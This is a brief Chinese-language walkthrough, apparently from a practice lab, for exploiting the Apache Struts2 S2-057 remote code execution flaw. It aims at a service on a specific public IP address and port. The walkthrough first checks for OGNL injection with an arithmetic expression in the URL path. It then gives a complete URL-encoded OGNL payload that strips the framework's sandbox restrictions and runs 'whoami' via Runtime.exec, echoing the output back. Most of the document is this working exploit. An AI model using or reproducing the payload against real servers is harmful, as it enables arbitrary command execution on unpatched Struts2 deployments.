struts2漏洞攻略
S2-057远程执行代码漏洞
靶场： /struts2/s2-057
1，搭建好环境后访问
http://47.108.150.249:8081/struts2-showcase/
2，在url处进行输⼊
在url输入http://47.108.150.249:8081/struts2-showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加
3，将上面验证payload的值修改为我们的利用exp
将第二步中的${(123+123)}替换为以下内容
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23
request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o
pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns
tance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcl
udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle
ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run
time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I
OUtils@toString%28%23a.getInputStream%28%29%29%29%7D